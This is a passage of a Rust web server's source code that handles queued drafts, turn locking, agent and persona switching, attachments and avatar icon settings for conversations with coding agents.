7994            let talk = ui.talks.get(&id)?;
7995            if !talk.status.open() {
7996                return Err(ApiError::conflict(format!(
7997                    "talk {} is {} and takes no more turns",
7998                    talk.short(),
7999                    talk.status.as_str()
8000                )));
8001            }
8002            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8003                return Err(ApiError::conflict("there is no queued draft to resume"));
8004            }
8005            let (cfg, _) = Config::discover(&talk.repo, None)?;
8006            Ok((talk, cfg))
8007        })
8008        .await?
8009    };
8010    let view = TalkView::new(talk.clone(), true, &ui);
8011    let talks = ui.talks.clone();
8012    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8013    Ok((StatusCode::ACCEPTED, Json(view)))
8014}
8015
8016/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
8017/// releasing `turn` only once a check finds it truly empty. Shared by both
8018/// callers that can end up owning a talk's turn slot with something already
8019/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
8020/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
8021/// holder just gave up - see the comment at that call site.
8022///
8023/// The release is folded into the final generation check under `turn`'s own
8024/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
8025/// free". Before its blocking `talk::drain`, this loop observes the queued
8026/// generation. A `say` that sees the turn busy writes its draft, then advances
8027/// that generation. Thus, if it lands while the drain is in flight, the final
8028/// check observes the advance and drains again; otherwise it releases the
8029/// claim while holding the same lock. This keeps the release/arrival handoff
8030/// atomic without holding the global claim mutex across filesystem I/O.
8031async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8032    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8033}
8034
8035/// A settings response must not report idle while its claim is still held.
8036/// Wait until the first drain either releases the claim or promotes a draft.
8037/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8038async fn settle_settings_turn(
8039    talk: Talk,
8040    talks: Talks,
8041    cfg: Config,
8042    id: String,
8043    turn: TalkTurnGuard,
8044    observed: u64,
8045) -> bool {
8046    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8047        let turns = Arc::clone(&turn.turns);
8048        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8049        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8050            // Release under the arrival lock; a later `/say` takes its own claim.
8051            turn.release(&mut live);
8052            return false;
8053        }
8054    }
8055    let (started, settled) = tokio::sync::oneshot::channel();
8056    tokio::spawn(drain_loop_started(
8057        talk,
8058        talks,
8059        cfg,
8060        id,
8061        turn,
8062        Some(started),
8063    ));
8064    settled.await.unwrap_or(false)
8065}
8066
8067async fn drain_loop_started(
8068    mut talk: Talk,
8069    talks: Talks,
8070    cfg: Config,
8071    id: String,
8072    turn: TalkTurnGuard,
8073    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8074) {
8075    let live_set = Arc::clone(&turn.turns);
8076    // `Option` rather than binding `turn` directly to a `_turn` that lives
8077    // for the whole function: releasing it has to happen by calling
8078    // `TalkTurnGuard::release` from inside the locked branch below, which
8079    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8080    // remove the id - correctly, if this loop is ever left some other way -
8081    // but doing it there misses the lock this loop is already holding, which
8082    // is the exact gap `release` exists to close.
8083    let mut turn = Some(turn);
8084    loop {
8085        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8086            // The lease was taken over while a turn ran. Whatever is queued
8087            // stays a draft; running it here would race the new owner.
8088            tracing::warn!("talk {id} lost its turn lease; not draining further");
8089            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8090            if let Some(turn) = turn.take() {
8091                turn.release(&mut live);
8092            }
8093            break;
8094        }
8095        {
8096            // A parking upgrade starts no further turn: whatever is queued
8097            // stays a durable draft for the successor.
8098            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8099            if live.parking {
8100                if let Some(turn) = turn.take() {
8101                    turn.release(&mut live);
8102                }
8103                break;
8104            }
8105        }
8106        // `talk::drain` takes the store lock and can write/rename the talk
8107        // file. Keep the turn mutex out of that synchronous work: it protects
8108        // every talk's in-memory claim, not this talk's disk operation.
8109        let observed = live_set
8110            .lock()
8111            .unwrap_or_else(PoisonError::into_inner)
8112            .queued
8113            .get(&id)
8114            .copied()
8115            .unwrap_or(0);
8116        let drained = blocking({
8117            let talks = talks.clone();
8118            let live_set = Arc::clone(&live_set);
8119            move || {
8120                // Promoting a draft is what starts a turn, so it is decided
8121                // under the same lock a parking upgrade takes: either the
8122                // promotion lands first (and its turn is waited for) or the
8123                // draft stays queued.
8124                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8125                let result = if live.parking {
8126                    Ok(None)
8127                } else {
8128                    talk::drain(&mut talk, &talks)
8129                };
8130                drop(live);
8131                Ok((talk, result))
8132            }
8133        })
8134        .await;
8135        let (next_talk, result) = match drained {
8136            Ok(drained) => drained,
8137            Err(e) => {
8138                tracing::warn!(
8139                    status = %e.status,
8140                    message = %e.message,
8141                    "talk {id} could not start queued-text drain"
8142                );
8143                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8144                turn.take()
8145                    .expect("held for the whole loop until released here")
8146                    .release(&mut live);
8147                break;
8148            }
8149        };
8150        talk = next_talk;
8151        let drained = match result {
8152            Ok(Some(drained)) => drained,
8153            Ok(None) => {
8154                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8155                if live.queued.get(&id).copied().unwrap_or(0) != observed {
8156                    continue;
8157                }
8158                turn.take()
8159                    .expect("held for the whole loop until released here")
8160                    .release(&mut live);
8161                break;
8162            }
8163            Err(e) => {
8164                tracing::warn!("talk {id} could not drain queued text: {e:#}");
8165                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8166                turn.take()
8167                    .expect("held for the whole loop until released here")
8168                    .release(&mut live);
8169                break;
8170            }
8171        };
8172        if let Some(started) = started.take() {
8173            let _ = started.send(true);
8174        }
8175        let responded = match turn.as_ref() {
8176            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8177            None => Err(anyhow::anyhow!("the turn guard was released")),
8178        };
8179        if let Err(e) = responded {
8180            tracing::warn!("talk {id} turn failed: {e:#}");
8181        }
8182    }
8183    drop(turn);
8184    if let Some(started) = started {
8185        let _ = started.send(false);
8186    }
8187}
8188
8189/// Clear a queued draft only if it remains exactly the one the caller saw.
8190async fn talk_pending_clear(
8191    State(ui): State<Arc<Ui>>,
8192    Path(id): Path<String>,
8193    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8194) -> ApiResult<Json<TalkView>> {
8195    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8196    blocking(move || {
8197        let id = resolve_talk(&ui.talks, &id)?;
8198        let mut talk = ui.talks.get(&id)?;
8199        if !talk.status.open() {
8200            return Err(ApiError::conflict(format!(
8201                "talk {} is {} and takes no more turns",
8202                talk.short(),
8203                talk.status.as_str()
8204            )));
8205        }
8206        if !talk::clear_pending_if_matches(
8207            &mut talk,
8208            &ui.talks,
8209            &body.expected_text,
8210            &body.expected_attachments,
8211        )? {
8212            return Err(ApiError::conflict(
8213                "queued message changed; reload it before clearing",
8214            ));
8215        }
8216        let thinking = ui.is_thinking(&talk.id);
8217        Ok(Json(TalkView::new(talk, thinking, &ui)))
8218    })
8219    .await
8220}
8221
8222/// Atomically edit a queued draft's text while preserving its attachments.
8223/// The snapshot fields make a concurrent queue or drain a conflict rather
8224/// than silently discarding either message.
8225async fn talk_pending_edit(
8226    State(ui): State<Arc<Ui>>,
8227    Path(id): Path<String>,
8228    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8229) -> ApiResult<Json<TalkView>> {
8230    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8231    let (view, reclaimed) = blocking({
8232        let ui = Arc::clone(&ui);
8233        move || {
8234            let id = resolve_talk(&ui.talks, &id)?;
8235            let mut talk = ui.talks.get(&id)?;
8236            if !talk.status.open() {
8237                return Err(ApiError::conflict(format!(
8238                    "talk {} is {} and takes no more turns",
8239                    talk.short(),
8240                    talk.status.as_str()
8241                )));
8242            }
8243            if !talk::edit_pending_message(
8244                &mut talk,
8245                &ui.talks,
8246                &body.text,
8247                &body.expected_text,
8248                &body.expected_attachments,
8249                body.message,
8250            )? {
8251                return Err(ApiError::conflict(
8252                    "queued message changed; reload it before editing",
8253                ));
8254            }
8255            let claim = match ui.begin_queued_talk_turn(&id)? {
8256                Some(turn_guard) => {
8257                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8258                    Some((talk.clone(), cfg, id.clone(), turn_guard))
8259                }
8260                None => None,
8261            };
8262            let thinking = ui.is_thinking(&id);
8263            Ok((TalkView::new(talk, thinking, &ui), claim))
8264        }
8265    })
8266    .await?;
8267    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8268        let talks = ui.talks.clone();
8269        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8270    }
8271    Ok(Json(view))
8272}
8273
8274/// The 409 for a talk that takes no more turns.
8275fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8276    if talk.status.open() {
8277        return Ok(());
8278    }
8279    Err(ApiError::conflict(format!(
8280        "talk {} is {} and takes no more turns",
8281        talk.short(),
8282        talk.status.as_str()
8283    )))
8284}
8285
8286/// The body of `POST /api/talks/{id}/agent`.
8287#[derive(Debug, Deserialize)]
8288struct TalkAgent {
8289    agent: String,
8290}
8291
8292/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
8293/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
8294/// start a turn on the old session between the check and the write; one that
8295/// arrives in that window finds the talk busy and becomes a draft.
8296async fn talk_agent(
8297    State(ui): State<Arc<Ui>>,
8298    Path(id): Path<String>,
8299    Json(body): Json<TalkAgent>,
8300) -> ApiResult<Json<TalkView>> {
8301    let id = {
8302        let ui = Arc::clone(&ui);
8303        blocking(move || resolve_talk(&ui.talks, &id)).await?
8304    };
8305    let repo = {
8306        let ui = Arc::clone(&ui);
8307        let id = id.clone();
8308        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8309    };
8310    let cfg = config_for(&repo).await?;
8311    // Refuse before taking the claim; see `talk_implementers`.
8312    {
8313        let ui = Arc::clone(&ui);
8314        let id = id.clone();
8315        let cfg = cfg.clone();
8316        let wanted = body.agent.clone();
8317        blocking(move || {
8318            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8319                .map_err(ApiError::bad_request_from)?;
8320            refuse_if_closed(&ui.talks.get(&id)?)
8321        })
8322        .await?;
8323    }
8324    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8325        return Err(ApiError::conflict(
8326            "a talk turn is running; change the agent once it has answered",
8327        ));
8328    };
8329    let switched = {
8330        let ui = Arc::clone(&ui);
8331        let id = id.clone();
8332        let cfg = cfg.clone();
8333        blocking(move || {
8334            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8335                .map_err(ApiError::bad_request_from)?;
8336            let mut talk = ui.talks.get(&id)?;
8337            if !talk.status.open() {
8338                return Err(ApiError::conflict(format!(
8339                    "talk {} is {} and takes no more turns",
8340                    talk.short(),
8341                    talk.status.as_str()
8342                )));
8343            }
8344            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8345            Ok(talk)
8346        })
8347        .await
8348    };
8349    // A `/say` that landed while this held the claim saw the talk busy and
8350    // left a durable draft, trusting the claim's owner to drain it. So the
8351    // claim is settled whatever the outcome. Release an empty draft's claim
8352    // before replying; queued drafts continue independently of the handler.
8353    let observed = ui.queued_generation(&id);
8354    let fresh = {
8355        let ui = Arc::clone(&ui);
8356        let id = id.clone();
8357        blocking(move || Ok(ui.talks.get(&id)?)).await
8358    };
8359    let draining = match fresh {
8360        Ok(talk) => {
8361            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8362        }
8363        Err(_) => false,
8364    };
8365    let talk = switched?;
8366    Ok(Json(TalkView::new(talk, draining, &ui)))
8367}
8368
8369/// The body of `POST /api/talks/{id}/persona`.
8370#[derive(Debug, Deserialize)]
8371struct TalkPersona {
8372    persona: String,
8373}
8374
8375/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
8376/// like [`talk_agent`]: the turn guard is held for the change and always handed
8377/// to `drain_loop`, so a draft left meanwhile is not stranded.
8378async fn talk_persona(
8379    State(ui): State<Arc<Ui>>,
8380    Path(id): Path<String>,
8381    Json(body): Json<TalkPersona>,
8382) -> ApiResult<Json<TalkView>> {
8383    let id = {
8384        let ui = Arc::clone(&ui);
8385        blocking(move || resolve_talk(&ui.talks, &id)).await?
8386    };
8387    let repo = {
8388        let ui = Arc::clone(&ui);
8389        let id = id.clone();
8390        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8391    };
8392    let cfg = config_for(&repo).await?;
8393    // Refuse before taking the claim; see `talk_implementers`.
8394    {
8395        let ui = Arc::clone(&ui);
8396        let id = id.clone();
8397        let cfg = cfg.clone();
8398        let wanted = body.persona.clone();
8399        blocking(move || {
8400            if persona::find(&cfg.talk.personas, &wanted).is_none() {
8401                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8402            }
8403            refuse_if_closed(&ui.talks.get(&id)?)
8404        })
8405        .await?;
8406    }
8407    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8408        return Err(ApiError::conflict(
8409            "a talk turn is running; change the persona once it has answered",
8410        ));
8411    };
8412    let switched = {
8413        let ui = Arc::clone(&ui);
8414        let id = id.clone();
8415        let cfg = cfg.clone();
8416        blocking(move || {
8417            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8418                return Err(ApiError::bad_request(format!(
8419                    "unknown persona `{}`",
8420                    body.persona
8421                )));
8422            };
8423            let mut talk = ui.talks.get(&id)?;
8424            if !talk.status.open() {
8425                return Err(ApiError::conflict(format!(
8426                    "talk {} is {} and takes no more turns",
8427                    talk.short(),
8428                    talk.status.as_str()
8429                )));
8430            }
8431            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8432            Ok(talk)
8433        })
8434        .await
8435    };
8436    // As in `talk_agent`: settle the claim before replying, even on refusal.
8437    let observed = ui.queued_generation(&id);
8438    let fresh = {
8439        let ui = Arc::clone(&ui);
8440        let id = id.clone();
8441        blocking(move || Ok(ui.talks.get(&id)?)).await
8442    };
8443    let draining = match fresh {
8444        Ok(talk) => {
8445            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8446        }
8447        Err(_) => false,
8448    };
8449    let talk = switched?;
8450    Ok(Json(TalkView::new(talk, draining, &ui)))
8451}
8452
8453/// The body of `POST /api/talks/{id}/implementers`.
8454#[derive(Debug, Deserialize)]
8455struct TalkImplementers {
8456    implementers: u8,
8457}
8458
8459/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
8460/// like [`talk_agent`]: the turn guard is held for the change and always handed
8461/// to `drain_loop`, so a draft left meanwhile is not stranded.
8462async fn talk_implementers(
8463    State(ui): State<Arc<Ui>>,
8464    Path(id): Path<String>,
8465    Json(body): Json<TalkImplementers>,
8466) -> ApiResult<Json<TalkView>> {
8467    let id = {
8468        let ui = Arc::clone(&ui);
8469        blocking(move || resolve_talk(&ui.talks, &id)).await?
8470    };
8471    let repo = {
8472        let ui = Arc::clone(&ui);
8473        let id = id.clone();
8474        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8475    };
8476    let cfg = config_for(&repo).await?;
8477    // Refuse a request that cannot succeed before taking the claim: a claim
8478    // taken for it is handed to `drain_loop`, which holds the talk busy for a
8479    // moment, so a refusal would make the next request see "busy" instead of
8480    // its own answer. The checks after the claim stay the ones that decide.
8481    {
8482        let ui = Arc::clone(&ui);
8483        let id = id.clone();
8484        let cfg = cfg.clone();
8485        let wanted = body.implementers;
8486        blocking(move || {
8487            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8488            refuse_if_closed(&ui.talks.get(&id)?)
8489        })
8490        .await?;
8491    }
8492    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8493        return Err(ApiError::conflict(
8494            "a talk turn is running; change the implementers once it has answered",
8495        ));
8496    };
8497    let switched = {
8498        let ui = Arc::clone(&ui);
8499        let id = id.clone();
8500        let cfg = cfg.clone();
8501        blocking(move || {
8502            let chosen =
8503                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8504            let mut talk = ui.talks.get(&id)?;
8505            if !talk.status.open() {
8506                return Err(ApiError::conflict(format!(
8507                    "talk {} is {} and takes no more turns",
8508                    talk.short(),
8509                    talk.status.as_str()
8510                )));
8511            }
8512            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8513            Ok(talk)
8514        })
8515        .await
8516    };
8517    // As in `talk_agent`: settle the claim before replying, even on refusal.
8518    let observed = ui.queued_generation(&id);
8519    let fresh = {
8520        let ui = Arc::clone(&ui);
8521        let id = id.clone();
8522        blocking(move || Ok(ui.talks.get(&id)?)).await
8523    };
8524    let draining = match fresh {
8525        Ok(talk) => {
8526            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8527        }
8528        Err(_) => false,
8529    };
8530    let talk = switched?;
8531    Ok(Json(TalkView::new(talk, draining, &ui)))
8532}
8533
8534/// `POST /api/talks/{id}/close`.
8535async fn talk_close(
8536    State(ui): State<Arc<Ui>>,
8537    Path(id): Path<String>,
8538) -> ApiResult<Json<TalkView>> {
8539    blocking(move || {
8540        let id = resolve_talk(&ui.talks, &id)?;
8541        let mut talk = ui.talks.get(&id)?;
8542        talk::close(&mut talk, &ui.talks)?;
8543        let thinking = ui.is_thinking(&talk.id);
8544        Ok(Json(TalkView::new(talk, thinking, &ui)))
8545    })
8546    .await
8547}
8548
8549/// `POST /api/talks/{id}/reopen`.
8550async fn talk_reopen(
8551    State(ui): State<Arc<Ui>>,
8552    Path(id): Path<String>,
8553) -> ApiResult<Json<TalkView>> {
8554    blocking(move || {
8555        let id = resolve_talk(&ui.talks, &id)?;
8556        let mut talk = ui.talks.get(&id)?;
8557        talk::reopen(&mut talk, &ui.talks)?;
8558        let thinking = ui.is_thinking(&talk.id);
8559        Ok(Json(TalkView::new(talk, thinking, &ui)))
8560    })
8561    .await
8562}
8563
8564/// `DELETE /api/talks/{id}`.
8565///
8566/// Removes the conversation's record and artifacts outright, unlike
8567/// [`talk_close`] which keeps the record as history. A turn already in
8568/// flight is not refused here the way [`run_delete`] refuses a live run:
8569/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
8570/// under [`Talks::guard`], that the record they are about to write back is
8571/// still there, so a delete racing a turn is safe without this route having
8572/// to know a turn is running at all.
8573async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8574    blocking(move || {
8575        let id = resolve_talk(&ui.talks, &id)?;
8576        ui.talks.remove(&id)?;
8577        Ok(StatusCode::NO_CONTENT)
8578    })
8579    .await
8580}
8581
8582/// Expand an id or short id to exactly one talk id.
8583fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8584    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8585}
8586
8587/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
8588/// future `talk-say`.
8589async fn talk_attachment_post(
8590    State(ui): State<Arc<Ui>>,
8591    Path(id): Path<String>,
8592    headers: HeaderMap,
8593    body: Bytes,
8594) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8595    let mime = validate_attachment(&headers, &body)?;
8596    let name = filename_header(&headers);
8597    let data = body.to_vec();
8598    blocking(move || {
8599        let id = resolve_talk(&ui.talks, &id)?;
8600        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8601        Ok((StatusCode::CREATED, Json(att)))
8602    })
8603    .await
8604}
8605
8606/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
8607/// `<img>` tag in the transcript.
8608async fn talk_attachment_get(
8609    State(ui): State<Arc<Ui>>,
8610    Path((id, att)): Path<(String, String)>,
8611) -> ApiResult<Response> {
8612    blocking(move || {
8613        let id = resolve_talk(&ui.talks, &id)?;
8614        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8615            return Err(ApiError::not_found(format!(
8616                "talk {id} has no attachment `{att}`"
8617            )));
8618        };
8619        Ok(attachment_response(&meta.mime, data))
8620    })
8621    .await
8622}
8623
8624/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
8625/// the icon setting, so changing it changes the URL.
8626fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
8627    let id = avatar_encode(&p.id);
8628    format!(
8629        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8630        persona_icon::fingerprint(
8631            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
8632        )
8633    )
8634}
8635
8636#[derive(Debug, Default, Deserialize)]
8637struct AvatarQuery {
8638    persona: Option<String>,
8639    /// Set by the page after the first load failed: skip the `icon`.
8640    builtin: Option<String>,
8641}
8642
8643/// Served with every built-in avatar: it is an image, so nothing else may run.
8644const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8645
8646fn builtin_avatar(id: &str) -> Response {
8647    svg_avatar(persona_icon::builtin_svg(id))
8648}
8649
8650async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8651    raster_or_builtin(
8652        read_icon_file(&avatar_setting_path(&ui.home, None))
8653            .filter(|_| q.builtin.is_none())
8654            .as_deref(),
8655        persona_icon::operator_svg(),
8656    )
8657}
8658
8659fn svg_avatar(svg: &'static str) -> Response {
8660    (
8661        [
8662            (header::CONTENT_TYPE, "image/svg+xml"),
8663            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8664            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8665            (header::CACHE_CONTROL, "no-cache"),
8666        ],
8667        svg,
8668    )
8669        .into_response()
8670}
8671
8672fn avatar_encode(value: &str) -> String {
8673    value
8674        .bytes()
8675        .map(|b| {
8676            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8677                char::from(b).to_string()
8678            } else {
8679                format!("%{b:02X}")
8680            }
8681        })
8682        .collect()
8683}
8684
8685// Display-only overrides live outside configuration and conversation records.
8686fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
8687    let Some(id) = persona else {
8688        return home.join("avatars/operator.data");
8689    };
8690    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
8691    let mut path = home.join("avatars/personas");
8692    for chunk in encoded.as_bytes().chunks(100) {
8693        path.push(std::str::from_utf8(chunk).expect("hex"));
8694    }
8695    path.join("icon.data")
8696}
8697
8698fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
8699    match read_icon_file(&avatar_setting_path(home, Some(id))) {
8700        Some(value) if value == "builtin" => Some(String::new()),
8701        Some(value) => Some(value),
8702        None => configured.map(str::to_owned),
8703    }
8704}
8705
8706fn operator_icon_url(home: &FsPath) -> String {
8707    format!(
8708        "/avatars/operator.svg?v={}",
8709        persona_icon::fingerprint(
8710            read_icon_file(&avatar_setting_path(home, None))
8711                .as_deref()
8712                .or(Some(persona_icon::operator_svg()))
8713        )
8714    )
8715}
8716
8717fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
8718    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
8719        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8720            attachment_response(mime, bytes)
8721        }
8722        _ => svg_avatar(builtin),
8723    };
8724    response
8725        .headers_mut()
8726        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8727    response
8728}
8729
8730#[derive(Default, Deserialize)]
8731struct AvatarSettingsQuery {
8732    repo: Option<PathBuf>,
8733    persona: Option<String>,
8734    builtin: Option<String>,
8735    inherit: Option<String>,
8736}
8737
8738fn avatar_settings_specs(
8739    ui: &Ui,
8740    repo: Option<PathBuf>,
8741) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
8742    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
8743    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
8744        .map(|cfg| cfg.talk.personas)
8745        .unwrap_or_default();
8746    Ok((repo, specs))
8747}
8748
8749fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
8750    let Ok(entries) = std::fs::read_dir(path) else {
8751        return;
8752    };
8753    for entry in entries.flatten() {
8754        let name = entry.file_name().to_string_lossy().into_owned();
8755        if name == "icon.data" {
8756            let bytes: Option<Vec<u8>> = prefix
8757                .as_bytes()
8758                .chunks(2)
8759                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
8760                .collect();
8761            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
8762                out.push(id);
8763            }
8764        } else if name.len() <= 100
8765            && !name.is_empty()
8766            && name.bytes().all(|b| b.is_ascii_hexdigit())
8767            && entry.file_type().is_ok_and(|t| t.is_dir())
8768        {
8769            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
8770        }
8771    }
8772}
8773
8774async fn avatar_settings_get(
8775    State(ui): State<Arc<Ui>>,
8776    Query(q): Query<AvatarSettingsQuery>,
8777) -> ApiResult<Json<serde_json::Value>> {
8778    blocking(move || {
8779        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
8780        let mut catalog = persona::catalog(&specs);
8781        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
8782        let mut saved = Vec::new();
8783        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
8784        for id in saved {
8785            if !catalog.iter().any(|p| p.id == id) {
8786                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
8787            }
8788        }
8789        let personas: Vec<_> = catalog.iter().map(|p| {
8790            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
8791            let override_state = match saved.as_deref() {
8792                Some("builtin") => "builtin",
8793                Some(_) => "custom",
8794                None => "inherit",
8795            };
8796            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
8797            serde_json::json!({"id":p.id,"name":p.name,
8798                "override_state":override_state,"has_config_icon":p.icon.is_some(),
8799                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
8800                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
8801        }).collect();
8802        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
8803    }).await
8804}
8805
8806async fn settings_persona_avatar(
8807    State(ui): State<Arc<Ui>>,
8808    Query(q): Query<AvatarSettingsQuery>,
8809) -> ApiResult<Response> {
8810    blocking(move || {
8811        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
8812        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
8813        let found = persona::find(&specs, id);
8814        let icon =
8815            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
8816        Ok(raster_or_builtin(
8817            icon.as_deref().filter(|_| q.builtin.is_none()),
8818            persona_icon::builtin_svg(id),
8819        ))
8820    })
8821    .await
8822}
8823
8824fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
8825    if q.persona
8826        .as_ref()
8827        .is_some_and(|p| p.is_empty() || p.len() > 4096)
8828    {
8829        return Err(ApiError::bad_request("invalid persona id"));
8830    }
8831    Ok(())
8832}
8833
8834async fn avatar_settings_put(
8835    State(ui): State<Arc<Ui>>,
8836    Query(q): Query<AvatarSettingsQuery>,
8837    Json(upload): Json<MagiIconUpload>,
8838) -> ApiResult<Json<serde_json::Value>> {
8839    blocking(move || {
8840        validate_avatar_target(&q)?;
8841        save_icon_file(
8842            &avatar_setting_path(&ui.home, q.persona.as_deref()),
8843            &upload.icon,
8844        )
8845        .map_err(ApiError::bad_request_from)?;
8846        Ok(Json(serde_json::json!({"saved":true})))
8847    })
8848    .await
8849}
8850
8851async fn avatar_settings_delete(
8852    State(ui): State<Arc<Ui>>,
8853    Query(q): Query<AvatarSettingsQuery>,
8854) -> ApiResult<Json<serde_json::Value>> {
8855    blocking(move || {
8856        validate_avatar_target(&q)?;
8857        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
8858        if q.persona.is_some() && q.inherit.is_none() {
8859            atomic_icon_write(&path, "builtin")?;
8860        } else {
8861            match std::fs::remove_file(path) {
8862                Ok(()) => (),
8863                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8864                Err(e) => return Err(anyhow::Error::from(e).into()),
8865            }
8866        }
8867        Ok(Json(serde_json::json!({"saved":true})))
8868    })
8869    .await
8870}
8871
8872// The global MAGI icon is deliberately independent of repository configuration.
8873fn magi_icon_path(home: &FsPath) -> PathBuf {
8874    home.join("magi-icon.data")
8875}
8876
8877fn read_magi_icon(home: &FsPath) -> Option<String> {
8878    read_icon_file(&magi_icon_path(home))
8879}
8880
8881fn read_icon_file(path: &FsPath) -> Option<String> {
8882    let metadata = std::fs::metadata(path).ok()?;
8883    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8884        return None;
8885    }
8886    let file = std::fs::File::open(path).ok()?;
8887    use std::io::Read;
8888    let mut text = String::new();
8889    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8890        .read_to_string(&mut text)
8891        .ok()?;
8892    if text.len() > persona_icon::ICON_MAX_BYTES {
8893        return None;
8894    }
8895    if text == "builtin" {
8896        return Some(text);
8897    }
8898    validate_uploaded_icon(&text).ok()?;
